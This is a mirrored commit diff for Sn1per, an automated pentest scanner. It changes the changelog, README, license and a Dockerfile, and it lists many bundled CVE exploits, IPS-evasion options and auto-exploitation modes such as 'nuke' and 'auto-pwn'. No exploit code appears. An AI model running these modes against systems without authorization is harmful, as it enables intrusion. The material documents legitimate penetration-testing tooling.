mirror of https://github.com/1N3/Sn1per.git
commit
e9c550cd32
219
CHANGELOG.md
219
CHANGELOG.md
|
|
@ -1,4 +1,223 @@
|
|||
## CHANGELOG:
|
||||
* v8.1 - Added Citrix Gateway Arbitary Code Execution CVE-2019-19781 vulnerability detection
|
||||
* v8.1 - Added Pulse Secure VPN Arbitrary File Disclosure CVE-2019-11510 exploit
|
||||
* v8.1 - Added --data-length=50 for NMap IPS evasion
|
||||
* v8.1 - Removed NMap vulscan script due to F+ results
|
||||
* v8.1 - Fixed issue with CRT.SH sub-domain retrieval
|
||||
* v8.1 - Updated Kali Linux keyring package
|
||||
* v8.1 - Fixed "[: ==: unary operator expected" in all code
|
||||
* v8.1 - Updated Sn1per Professional autoload settings
|
||||
* v8.1 - Updated web brute force wordlists
|
||||
* v8.1 - Removed null and debug errors from passive spider API output
|
||||
* v8.1 - Updated Commoncrawl index repo
|
||||
* v8.1 - Updated DockerFile repository
|
||||
* v8.1 - Fixed issue with -dh flag to delete host with Sn1per Pro v8.0
|
||||
* v8.1 - Fixed issue with subfinder missing
|
||||
* v8.1 - Fixed issue with 7zip missing
|
||||
* v8.1 - Added check for Ubuntu to install.sh automatically
|
||||
* v8.0 - Added ASnip tool to retrieve ASN's via 'recon' mode
|
||||
* v8.0 - Added Shodan sub-domain lookup
|
||||
* v8.0 - Added script timeout flag for NMap scripts
|
||||
* v8.0 - Fixed issue with dnsenum getting stuck on gathering dns info stage
|
||||
* v8.0 - Added option to force upgrade/install.sh without user prompt (ie. ./install.sh force)
|
||||
* v8.0 - Fixed issue with theHarvester package on Ubuntu systems
|
||||
* v8.0 - Fixed error "[: ==: unary operator expected" in all modes
|
||||
* v8.0 - Added net-tools package for Ubuntu OS deps
|
||||
* v7.4 - Added LDAP anomyous search to port 389/tcp checks (Shoutout @D0rkerDevil)
|
||||
* v7.4 - Added Java RMI dump registry scan checks and exploits to port 8001/tcp (Shoutout @D0rkerDevil)
|
||||
* v7.4 - Added CheckPoint Firewall-1 SecuRemote Topology Service Hostname Disclosure MSF module
|
||||
* v7.4 - Added virtualhost scanning via web mode
|
||||
* v7.4 - Added Gobuster
|
||||
* v7.4 - Addd URLCrazy DNS alterations check to OSINT mode
|
||||
* v7.4 - Added Ultratools Whois Lookups to OSINT mode
|
||||
* v7.4 - Added Email-Format.com Email Retreival to OSINT mode
|
||||
* v7.4 - Added Metasploit OSINT email retrieval to OSINT mode
|
||||
* v7.4 - Added Hackertarget URL API retrieval to web modes
|
||||
* v7.4 - Fixed error in massvulnscan mode
|
||||
* v7.4 - Fixed issue with webscreenshot.py not running
|
||||
* v7.4 - Added reverse whois DNS search via AMass
|
||||
* v7.4 - Added MassDNS IP's to master sorted IP list
|
||||
* v7.4 - Fixed issue with MassDNS installation
|
||||
* v7.4 - Fixed bad path with DNSGen
|
||||
* v7.4 - Fixed issue with AMass not running
|
||||
* v7.4 - Improved performance of AltDNS/DNSgen/MassDNS retrieval
|
||||
* v7.4 - Changed webscreenshot.py setting to use chrome browser and increased timeout
|
||||
* v7.4 - Fixed issue with missing xmlstarlet package for OpenVAS scans
|
||||
* v7.4 - Improved active web spider URL consolidation
|
||||
* v7.3 - Added CVE-2019-15107 Webmin <= 1.920 - Unauthenticated RCE MSF exploit
|
||||
* v7.3 - Added massdns plugin
|
||||
* v7.3 - Added altdns plugin
|
||||
* v7.3 - Added dnsgen plugin
|
||||
* v7.3 - Updated web file/dir wordlists from public exploits and honeypots
|
||||
* v7.3 - Added time stamps to all commands
|
||||
* v7.3 - Removed CloudFront from domain hijacking checks
|
||||
* v7.3 - Removed snmp-brute.nse script due to scan issues
|
||||
* v7.3 - Fixed issue with discover scan workspace names
|
||||
* v7.3 - Fixed issue with DockerFile (sed: can't read /usr/bin/msfdb: No such file or directory)
|
||||
* v7.3 - Fixed issue with installer on docker not having pip installed
|
||||
* v7.3 - Fixed issue with port 161 not being referenced correctly in scans
|
||||
* v7.2 - Added experimental OpenVAS API integration
|
||||
* v7.2 - Improved Burpsuite 2.x API integration with vuln reporting
|
||||
* v7.2 - Added hunter.io API integration to recon mode scans
|
||||
* v7.2 - Added Cisco IKE Key Disclosure MSF exploit
|
||||
* v7.2 - Added JBoss MSF vuln scanner module
|
||||
* v7.2 - Added Apache CouchDB RCE MSF exploit
|
||||
* v7.2 - Added IBM Tivoli Endpoint Manager POST Query Buffer Overflow exploit
|
||||
* v7.2 - Added Java RMI MSF scanner
|
||||
* v7.2 - New scan mode "vulnscan"
|
||||
* v7.2 - New scan mode "massportscan"
|
||||
* v7.2 - New scan mode "massweb"
|
||||
* v7.2 - New scan mode "masswebscan"
|
||||
* v7.2 - New scan mode "massvulnscan"
|
||||
* v7.2 - Added additional Slack API notification settings
|
||||
* v7.2 - Improved NMap port detection and scan modes
|
||||
* v7.2 - Fixed issue with Censys API being enabled by default
|
||||
* v7.2 - Fixed verbose errors in subjack/subover tools
|
||||
* v7.2 - Fixed issue with NMap http scripts not working
|
||||
* v7.1 - Added BlueKeep CVE-2019-0708 MSF scanner
|
||||
* v7.1 - Added automatic workspace generation for single target scans
|
||||
* v7.1 - Added new slack.sh API integration script
|
||||
* v7.1 - Added differential Slack notifications for new domains, new URL's and various scan outputs
|
||||
* v7.1 - Added vulners and vulscan NMap scripts
|
||||
* v7.1 - Added installer and support for Debian, Parrot and Ubuntu OS (install_debian.sh) (CC. @imhaxormad)
|
||||
* v7.1 - Fixed various issues with the DockerFile
|
||||
* v7.1 - Fixed/added Metasploit LHOST/LPORT values to all exploits based on sniper.conf settings
|
||||
* v7.1 - Fixed issue with Amass/Golang 1.11 not installing correctly
|
||||
* v7.0 - Added "webscan" mode for automated Burpsuite 2.x and Arachni web application scans only
|
||||
* v7.0 - Added Slack API notifications (Disabled by default..check ~/.sniper.conf)
|
||||
* v7.0 - Added new command switch to add daily, weekly or monthly sniper scheduled scans... check README
|
||||
* v7.0 - Added scheduled scan tasks command switch (Needs additional configuration to setup... check README)
|
||||
* v7.0 - Added Axis2 authenticated deployer MSF exploit
|
||||
* v7.0 - Added Axis2 login brute force module
|
||||
* v7.0 - Added subjack tool to check for subdomain hijacking
|
||||
* v7.0 - Added sorted IP lists under $LOOT_DIR/ips/ips-all-sorted.txt
|
||||
* v7.0 - Added subnet retrieval for all 'recon' mode scans under $LOOT_DIR/nmap/subnets-$TARGET.txt
|
||||
* v7.0 - Added Webscreenshot.py and disabled cutycapt from default config
|
||||
* v7.0 - Added Gobuster (Disabled by default..check ~/.sniper.conf)
|
||||
* v7.0 - Fixed issue with SubOver not working due to bad path
|
||||
* v7.0 - Fixed issue with flyover mode running 2x
|
||||
* v6.3 - Added Drupal RESET Unserialize RCE CVE-2019-6340
|
||||
* v6.2 - Added Glassfish Admin traversal MSF exploit
|
||||
* v6.2 - Added ElasticSearch Java Injection MSF RCE exploit
|
||||
* v6.2 - Added WebTech web fingerprinting tool
|
||||
* v6.2 - Added censys subdomain retrieval and API key config
|
||||
* v6.2 - Added project sonar sub-domain retrieval
|
||||
* v6.2 - Added command switch to remove workspace (-d)
|
||||
* v6.2 - Added command switch to remove host (-dh)
|
||||
* v6.2 - Added DockerFile to run Sn1per in Docker (CC. Hariom Vashisth <hariom.devops@gmail.com>)
|
||||
* v6.2 - Changed option to automatically import all NMap XML's into Metasploit's DB
|
||||
* v6.2 - Changed option to automatically load Sn1per Professional's report when scans complete
|
||||
* v6.2 - Added config option to enable/disable subdomain hijacking checks in sniper.conf
|
||||
* v6.2 - Fixed issue with sniper --list command having invalid reference
|
||||
* v6.2 - Fixed issue with theharvester not running
|
||||
* v6.1 - Added automated web scanning via Burpsuite Pro 2.x API for all 'web' mode scans
|
||||
* v6.1 - Added Waybackmachine URL retrieval to all web scans
|
||||
* v6.1 - Converted all exploits to Metasploit
|
||||
* v6.1 - Added configuration options to set LHOST/LPORT for all Metasploit exploits in sniper.conf
|
||||
* v6.1 - Added improved web brute forcing dictionaries for all scan modes
|
||||
* v6.1 - Added individual logging for all tools under the loot directory
|
||||
* v6.1 - Added new sniper.conf options to enabled/disable all plugins and change settings per user
|
||||
* v6.1 - Fixed issue with CMSMap install/usage
|
||||
* v6.1 - Fixed issue with WPScan gem dependency missing (public_suffix)
|
||||
* v6.1 - Fixed timeout setting in cutycapt
|
||||
* v6.1 - Fixed issue with theharvester not running correctly
|
||||
* v6.1 - Fixed issue with Amass not running due to invalid command line options in latest release
|
||||
* v6.1 - Fixed issue with Sn1per Professional notepad.html missing
|
||||
* v6.1 - Cleaned up plugins and install dependencies list
|
||||
* v6.0 - Improved scan options for discover mode scans
|
||||
* v6.0 - Fixed issue with pip3 dependency package missing
|
||||
* v6.0 - Removed iceweasel from install.sh to fix apt error
|
||||
* v5.9 - Fixed issue with auto updates not notifying users of updates
|
||||
* v5.8 - Fixed issue with subfinder not working due to lack of wordlist switch
|
||||
* v5.8 - Fixed missing osint directory/file paths
|
||||
* v5.7 - Added libSSH auth bypass scanner CVE-2018-10933
|
||||
* v5.7 - Added HTTP PUT method RCE MSF exploit
|
||||
* v5.7 - Added sniper.conf scan configuration file to customize sniper environments by user
|
||||
* v5.7 - Added modular scan mode source files
|
||||
* v5.7 - Updated wordlists for improved performance and results
|
||||
* v5.7 - Fixed issue with DNScan using an invalid path
|
||||
* v5.6 - Changed automatic report generation to "ON" for Sn1per Pro users
|
||||
* v5.5 - Added new multi-threaded high speed "flyover" mode added
|
||||
* v5.5 - Added new scan status mode via (sniper --status) command
|
||||
* v5.5 - Apache Struts CVE-2018-11776 RCE exploit
|
||||
* v5.5 - Added Android Insecure ADB RCE auto exploit
|
||||
* v5.5 - Added Apache Tomcat CVE-2017-12617 RCE exploit
|
||||
* v5.5 - Added Oracle WebLogic WLS-WSAT Component Deserialisation RCE CVE-2017-10271 MSF exploit
|
||||
* v5.5 - Added BlackWidow web application scanner with INJECTX fuzzer
|
||||
* v5.5 - Added CVE-2018-15473 SSH user enumeration script
|
||||
* v5.5 - Minor wordlist updates for web file brute forcing
|
||||
* v5.4 - Updated Golang in install.sh
|
||||
* v5.3 - Updated AMass repo in install.sh
|
||||
* v5.3 - Removed CloudFail
|
||||
* v5.3 - Fixed issue with subfinder missing brute force list
|
||||
* v5.3 - Fixed issue with invalid dnsscan reference
|
||||
* v5.2 - Added SubOver subdomain takeover scanner
|
||||
* v5.2 - Added Subfinder subdomain enumeration tool
|
||||
* v5.2 - Added Amass subdomain enumeration tool
|
||||
* v5.2 - Added configurable modules/plugins to sniper script
|
||||
* v5.2 - Added MS17-010 SMB Etternal Blue MSF exploit
|
||||
* v5.2 - Added MSF Postgresql login scanner
|
||||
* v5.2 - Added passive web spider
|
||||
* v5.2 - Added WebDav metasploit aux modules
|
||||
* v5.2 - Added NetBIOS NMap/MSF enumeration
|
||||
* v5.2 - Added SMB MSF enumeration
|
||||
* v5.2 - Added NSF MSF enumeration
|
||||
* v5.2 - Added SSH MSF enumeration
|
||||
* v5.2 - Added BadBlue Passthru MSF exploit
|
||||
* v5.2 - Added SMB GPP MSF aux module
|
||||
* v5.2 - Added Intel AMT MSF scanner
|
||||
* v5.2 - Added MySQL MSF scanner
|
||||
* v5.2 - Added MS03-026 DCOM RCE MSF exploit
|
||||
* v5.2 - Added VNC no auth MSF scanner
|
||||
* v5.2 - Added FTP MSF version scanner
|
||||
* v5.2 - Added FTP anonymous access MSF scanner
|
||||
* v5.2 - Added MS12-020 RDP MSF scanner
|
||||
* v5.2 - Added MS10-061 Spoolss MSF exploit
|
||||
* v5.2 - Added MS15-034 Sys Memory Dump MSF exploit
|
||||
* v5.2 - Added MS06-040 Netapi MSF exploit
|
||||
* v5.2 - Added MS05-039 PNP MSF exploit
|
||||
* v5.2 - Added MS12-020 Max Channels RDP scanner
|
||||
* v5.2 - Added JBoss status MSF scanner
|
||||
* v5.2 - Added Apache Struts 2 REST Plugin XStream RCE check
|
||||
* v5.2 - Added Apache Tomcat UTF8 Traversal MSF exploit
|
||||
* v5.2 - Added Apache OPTIONS Bleed MSF exploit
|
||||
* v5.2 - Added HP ILO Auth Bypass MSF exploit
|
||||
* v5.2 - Added Jooma Comfields SQL injection MSF exploit
|
||||
* v5.1 - Added dnscan to install.sh and updated sniper references which were broken
|
||||
* v5.1 - Changed default brute force list for dnscan to improve performance of scans
|
||||
* v5.1 - Removed CloudHunter and SubOver references (CC. 爱上平顶山)
|
||||
* v5.0 - Added Sn1per Pro reporting interface (see https://xerosecurity.com for more details)
|
||||
* v5.0 - Added GPON Router RCE auto exploit
|
||||
* v5.0 - Added Cloudapp.net Azure subdomain takeover check
|
||||
* v5.0 - Added Cisco ASA Directory Traversal auto exploit (CVE-2018-0296)
|
||||
* v5.0 - Added Wig Web Information Gatherer
|
||||
* v5.0 - Added Dirsearch with custom dirsearch wordlists (quick, normal, full)
|
||||
* v5.0 - Fixed bug in installer/upgrade which copied the local dir contents to the install dir
|
||||
* v5.0 - Improved scan performance while taking web screenshots
|
||||
* v5.0 - Fixed repo issue with Slurp (Shoutz to @ifly53e)
|
||||
* v5.0 - Fixed issues with wrong ports listed in port scans (Shoutz to @ifly53e)
|
||||
* v5.0 - Minor code fixes and typos corrected (Shoutz to @ifly53e)
|
||||
* v5.0 - Updated "discover" mode scans for improved performance
|
||||
* v4.5 - Added Apache Struts 2 CVE-2017-9805 and CVE-2017-5638 detection
|
||||
* v4.5 - Added dirsearch web/file brute forcing
|
||||
* v4.5 - Added smart file/directory brute forcing to all scan modes.
|
||||
* v4.5 - Added subdomain brute force scan option to Sublist3r scan.
|
||||
* v4.4 - Fixed issue with sniper nuke and airstrike modes not running.
|
||||
* v4.4 - Added improved SNMP checks via NMap/Metasploit.
|
||||
* v4.4 - Resolved dependency issue for nfs-common package.
|
||||
* v4.4 - Fixed bug in sniper -fp command switch.
|
||||
* v4.3 - Fixed bug in version info.
|
||||
* v4.2 - Fixed bad merge in 4.1 causing sniper to break.
|
||||
* v4.1 - Fixed a few bugs with various command line switches for airstrike and nuke modes.
|
||||
* v4.1 - Fixed issue with path relative file inclusion via the -f flag. You can now include just the local filename (sniper -f targets.txt).
|
||||
* v4.0 - Added new command switch options for all sniper scans (see --help for details)
|
||||
* v4.0 - Added HTML formatted report for all workspaces to display screenshots, headers, reports and open ports
|
||||
* v4.0 - Added optional scan options such as --recon, --osint, --fullportonly --bruteforce, etc. to selectively enable scan modules. (see --help for details)
|
||||
* v4.0 - Improved Yasou scan options to include existing NMap XML files
|
||||
* v4.0 - Added automatic HTML/TXT/PDF reporting for all scans by default
|
||||
* v4.0 - Updated default workspace directory to store all loot files by $TARGET name or $WORKSPACE alias
|
||||
* v4.0 - Added screenshot and header retrieval to loot storage
|
||||
* v4.0 - Updated NMAP SMB enum script
|
||||
* v3.0 - Improved performance of various sniper modes
|
||||
* v3.0 - Added Aquatone domain flyover tool
|
||||
* v3.0 - Added slurp S3 public AWS scanner
|
||||
|
|
|
|||
|
|
@ -0,0 +1,34 @@
|
|||
FROM kalilinux/kali-linux-docker
|
||||
|
||||
LABEL org.label-schema.name='Sn1per - Kali Linux' \
|
||||
org.label-schema.description='Automated pentest framework for offensive security experts' \
|
||||
org.label-schema.usage='https://github.com/1N3/Sn1per' \
|
||||
org.label-schema.url='https://github.com/1N3/Sn1per' \
|
||||
org.label-schema.vendor='https://xerosecurity.com' \
|
||||
org.label-schema.schema-version='1.0' \
|
||||
org.label-schema.docker.cmd.devel='docker run --rm -ti xerosecurity/sniper' \
|
||||
MAINTAINER="@xer0dayz"
|
||||
|
||||
RUN echo "deb http://http.kali.org/kali kali-rolling main contrib non-free" > /etc/apt/sources.list && \
|
||||
echo "deb-src http://http.kali.org/kali kali-rolling main contrib non-free" >> /etc/apt/sources.list
|
||||
ENV DEBIAN_FRONTEND noninteractive
|
||||
|
||||
RUN set -x \
|
||||
&& apt-get -yqq update \
|
||||
&& apt-get -yqq dist-upgrade \
|
||||
&& apt-get clean
|
||||
RUN apt-get install -y metasploit-framework
|
||||
|
||||
RUN sed -i 's/systemctl status ${PG_SERVICE}/service ${PG_SERVICE} status/g' /usr/bin/msfdb && \
|
||||
service postgresql start && \
|
||||
msfdb reinit
|
||||
|
||||
RUN apt-get --yes install git \
|
||||
&& mkdir -p security \
|
||||
&& cd security \
|
||||
&& git clone https://github.com/1N3/Sn1per.git \
|
||||
&& cd Sn1per \
|
||||
&& ./install.sh \
|
||||
&& sniper -u force
|
||||
|
||||
CMD ["bash"]
|
||||
|
|
@ -1,2 +1,2 @@
|
|||
## LICENSE:
|
||||
This software is free to distribute, modify and use with the condition that credit is provided to the creator (1N3@CrowdShield) and is not for commercial use.
|
||||
Sn1per Community Edition is free to distribute, modify and use with the condition that credit is provided to the creator (@xer0dayz) and @XeroSecurity and is not for commercial use. For professional use, a Sn1per Professional or Enterprise license must be purchased at https://xerosecurity.com.
|
||||
215
README.md
215
README.md
|
|
@ -1,15 +1,44 @@
|
|||

|
||||

|
||||
|
||||
[](https://github.com/1N3/Sn1per/releases)
|
||||
[](https://github.com/1N3/Sn1per/issues)
|
||||
[](https://github.com/1N3/Sn1per/)
|
||||
[](https://github.com/1N3/Sn1per/)
|
||||
[](https://twitter.com/intent/tweet?original_referer=https%3A%2F%2Fdeveloper.twitter.com%2Fen%2Fdocs%2Ftwitter-for-websites%2Ftweet-button%2Foverview&ref_src=twsrc%5Etfw&text=Sn1per%20-%20Automated%20Pentest%20Recon%20Scanner&tw_p=tweetbutton&url=https%3A%2F%2Fgithub.com%2F1N3%2FSn1per)
|
||||
[](https://twitter.com/intent/follow?screen_name=xer0dayz)
|
||||
|
||||
## ABOUT:
|
||||
Sn1per is an automated scanner that can be used during a penetration test to enumerate and scan for vulnerabilities.
|
||||
Sn1per Community Edition is an automated scanner that can be used during a penetration test to enumerate and scan for vulnerabilities. Sn1per Professional is Xero Security's premium reporting addon for Professional Penetration Testers, Bug Bounty Researchers and Corporate Security teams to manage large environments and pentest scopes. For more information regarding Sn1per Professional, go to https://xerosecurity.com.
|
||||
|
||||
## DEMO VIDEO:
|
||||
[](https://www.youtube.com/watch?v=nA_V_u3QZA4)
|
||||
## SN1PER PROFESSIONAL FEATURES:
|
||||
### Workspace Navigator
|
||||
- [x] Easily navigate all workspaces within Sn1per
|
||||

|
||||
### Workspace Dashboard
|
||||
- [x] Get a high level view of the attack surface with overall scan progress
|
||||

|
||||
### Slideshow
|
||||
- [x] Visualize the attack surface by easily flipping through all gathered screenshots
|
||||

|
||||
### Host List
|
||||
- [x] Easily search and sort through all hosts within the workspace using various meta properties
|
||||

|
||||
### Detailed Host Reports
|
||||
- [x] Get more details on any host within the workspace.
|
||||

|
||||
### NMap HTML Reports
|
||||
- [x] View low level network information on each host
|
||||

|
||||
### Demo Video:
|
||||
[](https://www.youtube.com/watch?v=YlRRNM3vd8k)
|
||||
### Purchase Sn1per Professional:
|
||||
To obtain a Sn1per Professional license, go to https://xerosecurity.com.
|
||||
|
||||
## FEATURES:
|
||||
## SN1PER COMMUNITY FEATURES:
|
||||
- [x] Automatically collects basic recon (ie. whois, ping, DNS, etc.)
|
||||
- [x] Automatically launches Google hacking queries against a target domain
|
||||
- [x] Automatically enumerates open ports via NMap port scanning
|
||||
- [x] Automatically exploit common vulnerabilities
|
||||
- [x] Automatically brute forces sub-domains, gathers DNS info and checks for zone transfers
|
||||
- [x] Automatically checks for sub-domain hijacking
|
||||
- [x] Automatically runs targeted NMap scripts against open ports
|
||||
|
|
@ -23,80 +52,162 @@ Sn1per is an automated scanner that can be used during a penetration test to enu
|
|||
- [x] Automatically enumerate SSL/TLS ciphers, protocols and vulnerabilities
|
||||
- [x] Automatically enumerate SNMP community strings, services and users
|
||||
- [x] Automatically list SMB users and shares, check for NULL sessions and exploit MS08-067
|
||||
- [x] Automatically exploit vulnerable JBoss, Java RMI and Tomcat servers
|
||||
- [x] Automatically tests for open X11 servers
|
||||
- [x] Auto-pwn added for Metasploitable, ShellShock, MS08-067, Default Tomcat Creds
|
||||
- [x] Performs high level enumeration of multiple hosts and subnets
|
||||
- [x] Automatically integrates with Metasploit Pro, MSFConsole and Zenmap for reporting
|
||||
- [x] Automatically gathers screenshots of all web sites
|
||||
- [x] Create individual workspaces to store all scan output
|
||||
- [x] Scheduled scans (https://github.com/1N3/Sn1per/wiki/Scheduled-Scans)
|
||||
- [x] Slack API integration (https://github.com/1N3/Sn1per/wiki/Slack-API-Integration)
|
||||
- [x] Hunter.io API integration (https://github.com/1N3/Sn1per/wiki/Hunter.io-API-Integration)
|
||||
- [x] OpenVAS API integration (https://github.com/1N3/Sn1per/wiki/OpenVAS-Integration)
|
||||
- [x] Burpsuite Professional 2.x integration (https://github.com/1N3/Sn1per/wiki/Burpsuite-Professional-2.x-Integration)
|
||||
- [x] Shodan API integration (https://github.com/1N3/Sn1per/wiki/Shodan-Integration)
|
||||
- [x] Censys API integration (https://github.com/1N3/Sn1per/wiki/Censys-API-Integration)
|
||||
- [x] Metasploit integration (https://github.com/1N3/Sn1per/wiki/Metasploit-Integration)
|
||||
|
||||
## KALI LINUX INSTALL:
|
||||
## KALI/UBUNTU/DEBIAN/PARROT LINUX INSTALL:
|
||||
```
|
||||
./install.sh
|
||||
bash install.sh
|
||||
```
|
||||
|
||||
## DOCKER INSTALL:
|
||||
|
||||
Credits: @menzow
|
||||
|
||||
Docker Install:
|
||||
https://github.com/menzow/sn1per-docker
|
||||
|
||||
Docker Build:
|
||||
https://hub.docker.com/r/menzo/sn1per-docker/builds/bqez3h7hwfun4odgd2axvn4/
|
||||
|
||||
Example usage:
|
||||
From a new Docker console, run the following commands.
|
||||
```
|
||||
$ docker pull menzo/sn1per-docker
|
||||
$ docker run --rm -ti menzo/sn1per-docker sniper menzo.io
|
||||
Download https://raw.githubusercontent.com/1N3/Sn1per/master/Dockerfile
|
||||
docker build -t sn1per .
|
||||
docker run -it sn1per /bin/bash
|
||||
|
||||
or
|
||||
|
||||
docker pull xerosecurity/sn1per
|
||||
docker run -it xerosecurity/sn1per /bin/bash
|
||||
```
|
||||
|
||||
## USAGE:
|
||||
```
|
||||
sniper <target> <report>
|
||||
sniper <target> stealth <report>
|
||||
sniper <CIDR> discover
|
||||
sniper <target> port <portnum>
|
||||
sniper <target> fullportonly <portnum>
|
||||
sniper <target> web <report>
|
||||
sniper <target> webporthttp <port>
|
||||
sniper <target> webporthttps <port>
|
||||
sniper <target> nobrute <report>
|
||||
sniper <targets.txt> airstrike <report>
|
||||
sniper <targets.txt> nuke <report>
|
||||
sniper loot
|
||||
sniper update
|
||||
[*] NORMAL MODE
|
||||
sniper -t <TARGET>
|
||||
|
||||
[*] NORMAL MODE + OSINT + RECON
|
||||
sniper -t <TARGET> -o -re
|
||||
|
||||
[*] STEALTH MODE + OSINT + RECON
|
||||
sniper -t <TARGET> -m stealth -o -re
|
||||
|
||||
[*] DISCOVER MODE
|
||||
sniper -t <CIDR> -m discover -w <WORSPACE_ALIAS>
|
||||
|
||||
[*] SCAN ONLY SPECIFIC PORT
|
||||
sniper -t <TARGET> -m port -p <portnum>
|
||||
|
||||
[*] FULLPORTONLY SCAN MODE
|
||||
sniper -t <TARGET> -fp
|
||||
|
||||
[*] WEB MODE - PORT 80 + 443 ONLY!
|
||||
sniper -t <TARGET> -m web
|
||||
|
||||
[*] HTTP WEB PORT MODE
|
||||
sniper -t <TARGET> -m webporthttp -p <port>
|
||||
|
||||
[*] HTTPS WEB PORT MODE
|
||||
sniper -t <TARGET> -m webporthttps -p <port>
|
||||
|
||||
[*] HTTP WEBSCAN MODE
|
||||
sniper -t <TARGET> -m webscan
|
||||
|
||||
[*] ENABLE BRUTEFORCE
|
||||
sniper -t <TARGET> -b
|
||||
|
||||
[*] AIRSTRIKE MODE
|
||||
sniper -f targets.txt -m airstrike
|
||||
|
||||
[*] NUKE MODE WITH TARGET LIST, BRUTEFORCE ENABLED, FULLPORTSCAN ENABLED, OSINT ENABLED, RECON ENABLED, WORKSPACE & LOOT ENABLED
|
||||
sniper -f targets.txt -m nuke -w <WORKSPACE_ALIAS>
|
||||
|
||||
[*] MASS PORT SCAN MODE
|
||||
sniper -f targets.txt -m massportscan
|
||||
|
||||
[*] MASS WEB SCAN MODE
|
||||
sniper -f targets.txt -m massweb
|
||||
|
||||
[*] MASS WEBSCAN SCAN MODE
|
||||
sniper -f targets.txt -m masswebscan
|
||||
|
||||
[*] MASS VULN SCAN MODE
|
||||
sniper -f targets.txt -m massvulnscan
|
||||
|
||||
[*] PORT SCAN MODE
|
||||
sniper -t <TARGET> -m port -p <PORT_NUM>
|
||||
|
||||
[*] LIST WORKSPACES
|
||||
sniper --list
|
||||
|
||||
[*] DELETE WORKSPACE
|
||||
sniper -w <WORKSPACE_ALIAS> -d
|
||||
|
||||
[*] DELETE HOST FROM WORKSPACE
|
||||
sniper -w <WORKSPACE_ALIAS> -t <TARGET> -dh
|
||||
|
||||
[*] GET SNIPER SCAN STATUS
|
||||
sniper --status
|
||||
|
||||
[*] LOOT REIMPORT FUNCTION
|
||||
sniper -w <WORKSPACE_ALIAS> --reimport
|
||||
|
||||
[*] LOOT REIMPORTALL FUNCTION
|
||||
sniper -w <WORKSPACE_ALIAS> --reimportall
|
||||
|
||||
[*] LOOT REIMPORT FUNCTION
|
||||
sniper -w <WORKSPACE_ALIAS> --reload
|
||||
|
||||
[*] SCHEDULED SCANS
|
||||
sniper -w <WORKSPACE_ALIAS> -s daily|weekly|monthly
|
||||
|
||||
[*] UPDATE SNIPER
|
||||
sniper -u|--update
|
||||
```
|
||||
|
||||
### MODES:
|
||||
* **REPORT:** Outputs all results to text in the loot directory for later reference. To enable reporting, append 'report' to any sniper mode or command.
|
||||
* **STEALTH:** Quickly enumerate single targets using mostly non-intrusive scans to avoid WAF/IPS blocking
|
||||
* **NORMAL:** Performs basic scan of targets and open ports using both active and passive checks for optimal performance.
|
||||
* **STEALTH:** Quickly enumerate single targets using mostly non-intrusive scans to avoid WAF/IPS blocking.
|
||||
* **FLYOVER:** Fast multi-threaded high level scans of multiple targets (useful for collecting high level data on many hosts quickly).
|
||||
* **AIRSTRIKE:** Quickly enumerates open ports/services on multiple hosts and performs basic fingerprinting. To use, specify the full location of the file which contains all hosts, IPs that need to be scanned and run ./sn1per /full/path/to/targets.txt airstrike to begin scanning.
|
||||
* **NUKE:** Launch full audit of multiple hosts specified in text file of choice. Usage example: ./sniper /pentest/loot/targets.txt nuke.
|
||||
* **DISCOVER:** Parses all hosts on a subnet/CIDR (ie. 192.168.0.0/16) and initiates a sniper scan against each host. Useful for internal network scans.
|
||||
* **PORT:** Scans a specific port for vulnerabilities. Reporting is not currently available in this mode.
|
||||
* **FULLPORTONLY:** Performs a full detailed port scan and saves results to XML.
|
||||
* **WEB:** Adds full automatic web application scans to the results (port 80/tcp & 443/tcp only). Ideal for web applications but may increase scan time significantly.
|
||||
* **MASSPORTSCAN:** Runs a "fullportonly" scan on mutiple targets specifified via the "-f" switch.
|
||||
* **WEB:** Adds full automatic web application scans to the results (port 80/tcp & 443/tcp only). Ideal for web applications but may increase scan time significantly.
|
||||
* **MASSWEB:** Runs "web" mode scans on mutiple targets specifified via the "-f" switch.
|
||||
* **WEBPORTHTTP:** Launches a full HTTP web application scan against a specific host and port.
|
||||
* **WEBPORTHTTPS:** Launches a full HTTPS web application scan against a specific host and port.
|
||||
* **NOBRUTE:** Launches a full scan against a target host/domain without brute forcing services.
|
||||
* **AIRSTRIKE:** Quickly enumerates open ports/services on multiple hosts and performs basic fingerprinting. To use, specify the full location of the file which contains all hosts, IP's that need to be scanned and run ./sn1per /full/path/to/targets.txt airstrike to begin scanning.
|
||||
* **NUKE:** Launch full audit of multiple hosts specified in text file of choice. Usage example: ./sniper /pentest/loot/targets.txt nuke.
|
||||
* **LOOT:** Automatically organizes and displays loot folder in your browser and opens Metasploit Pro and Zenmap GUI with all port scan results. To run, type 'sniper loot'.
|
||||
* **UPDATE:** Checks for updates and upgrades all components used by sniper.
|
||||
* **WEBSCAN:** Launches a full HTTP & HTTPS web application scan against via Burpsuite and Arachni.
|
||||
* **MASSWEBSCAN:** Runs "webscan" mode scans of multiple targets specified via the "-f" switch.
|
||||
* **VULNSCAN:** Launches a OpenVAS vulnerability scan.
|
||||
* **MASSVULNSCAN:** Launches a "vulnscan" mode scans on mutiple targets specifified via the "-f" switch.
|
||||
|
||||
## SAMPLE REPORT:
|
||||
https://gist.github.com/1N3/8214ec2da2c91691bcbc
|
||||
|
||||
## Help Topics
|
||||
|
||||
- [x] Burpsuite Professional 2.x integration (https://github.com/1N3/Sn1per/wiki/Burpsuite-Professional-2.x-Integration)
|
||||
- [x] Shodan API integration (https://github.com/1N3/Sn1per/wiki/Shodan-Integration)
|
||||
- [x] Censys API integration (https://github.com/1N3/Sn1per/wiki/Censys-API-Integration)
|
||||
- [x] Hunter.io API integration (https://github.com/1N3/Sn1per/wiki/Hunter.io-API-Integration)
|
||||
- [x] Metasploit integration (https://github.com/1N3/Sn1per/wiki/Metasploit-Integration)
|
||||
- [x] OpenVAS API integration (https://github.com/1N3/Sn1per/wiki/OpenVAS-Integration)
|
||||
- [x] Scheduled scans (https://github.com/1N3/Sn1per/wiki/Scheduled-Scans)
|
||||
- [x] Slack API integration (https://github.com/1N3/Sn1per/wiki/Slack-API-Integration)
|
||||
- [x] Sn1per Configuration Options (https://github.com/1N3/Sn1per/wiki/Sn1per-Configuration-Options)
|
||||
- [x] Plugins & Tools (https://github.com/1N3/Sn1per/wiki/Plugins-&-Tools)
|
||||
|
||||
## LICENSE:
|
||||
This software is free to distribute, modify and use with the condition that credit is provided to the creator (1N3@CrowdShield) and is not for commercial use.
|
||||
